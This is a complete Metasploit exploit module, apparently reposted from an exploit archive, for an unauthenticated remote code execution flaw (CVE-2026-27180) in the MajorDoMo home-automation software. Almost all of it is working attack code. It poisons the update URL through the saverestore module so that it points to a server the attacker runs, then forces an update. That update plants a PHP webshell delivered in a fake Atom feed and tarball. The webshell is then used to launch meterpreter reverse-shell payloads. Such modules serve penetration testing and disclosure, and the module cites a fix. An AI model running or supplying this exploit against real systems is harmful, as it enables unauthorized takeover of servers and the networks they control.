Share
## https://sploitus.com/exploit?id=PACKETSTORM:216435
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rubygems/package'
    require 'zlib'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability in
              MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
              admin() method is reachable without authentication through the /objects/?module=saverestore
              endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
              instead of $this->mode for mode checks.
    
              Two unauthenticated GET requests chain together for full RCE:
              1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
              2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
              poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()
    
              The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
              check. The attacker serves a fake Atom feed with an entry older than the configured delay
              (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
              executes the payload through the webshell.
    
              All versions of MajorDoMo up to and including the latest release are affected.
              The fix is tracked in PR sergejey/majordomo#1177.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27180'],
              ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
              ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
            ],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-02-18',
            'DefaultOptions' => {
              'RPORT' => 80
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
          OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
        ])
    
        deregister_options('SRVURI')
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => { 'module' => 'saverestore' }
        )
        return CheckCode::Unknown('Failed to connect to the target.') unless res
    
        unless res.body.to_s.include?('MajorDoMo') || res.code == 200
          return CheckCode::Safe('Target does not appear to be MajorDoMo')
        end
    
        marker = Rex::Text.rand_text_alphanumeric(8)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET',
          'vars_get' => {
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => "echo '#{marker}';"
          }
        )
    
        if res&.body.to_s.include?(marker)
          return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
        end
    
        CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
      end
    
      def build_atom_feed
        commit_id = Rex::Text.rand_text_hex(40)
        # Entry must be older than the configured delay (default 1 day)
        old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
        <<~ATOM
          <?xml version="1.0" encoding="UTF-8"?>
          <feed xmlns="http://www.w3.org/2005/Atom">
            <title>MajorDoMo</title>
            <entry>
              <id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
              <updated>#{old_date}</updated>
              <title>Update</title>
            </entry>
          </feed>
        ATOM
      end
    
      def build_tarball(shell_name, php_code)
        tar_io = StringIO.new
        tar_io.set_encoding('ASCII-8BIT')
    
        Gem::Package::TarWriter.new(tar_io) do |tar|
          tar.mkdir('majordomo-master', 0o755)
          tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
            io.write(php_code)
          end
        end
    
        gz_io = StringIO.new
        gz_io.set_encoding('ASCII-8BIT')
        gz = Zlib::GzipWriter.new(gz_io)
        gz.write(tar_io.string)
        gz.close
        gz_io.string
      end
    
      def poison_update_url(url)
        vprint_status("Poisoning update URL to: #{url}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'auto_update_settings',
            'set_update_url' => url
          }
        )
      end
    
      def trigger_update
        vprint_status('Triggering force_update...')
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'force_update'
          }
        )
      end
    
      def execute_webshell(shell_name)
        vprint_status("Executing payload via webshell: #{shell_name}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, shell_name),
          'method' => 'GET'
        )
      end
    
      def exploit
        shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
        php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        php_code = "<?php #{php_payload} ?>"
    
        atom_feed = build_atom_feed
        tarball = build_tarball(shell_name, php_code)
        feed_served = false
        tarball_served = false
    
        # Start HTTP server to serve the Atom feed and tarball
        # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              path = req.uri
              vprint_status("Received request: #{path}")
    
              if path.include?('.atom')
                print_status('Serving fake Atom feed...')
                send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
                feed_served = true
              elsif path.include?('.tar.gz')
                print_status("Serving malicious tarball (#{tarball.length} bytes)...")
                send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
                tarball_served = true
              else
                send_not_found(cli)
              end
            end,
            'Path' => '/'
          },
          'SSL' => false
        })
    
        srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
        poison_update_url(srv_url)
        trigger_update
    
        # Wait for MajorDoMo to fetch the feed and tarball
        timeout = datastore['UPDATE_TIMEOUT']
        print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
        timeout.times do
          break if feed_served && tarball_served
    
          Rex.sleep(1)
        end
    
        unless feed_served && tarball_served
          fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
        end
    
        # Give MajorDoMo time to extract and deploy
        print_status('Update fetched, waiting for deployment...')
        Rex.sleep(3)
    
        register_file_for_cleanup(shell_name)
        execute_webshell(shell_name)
      end
    end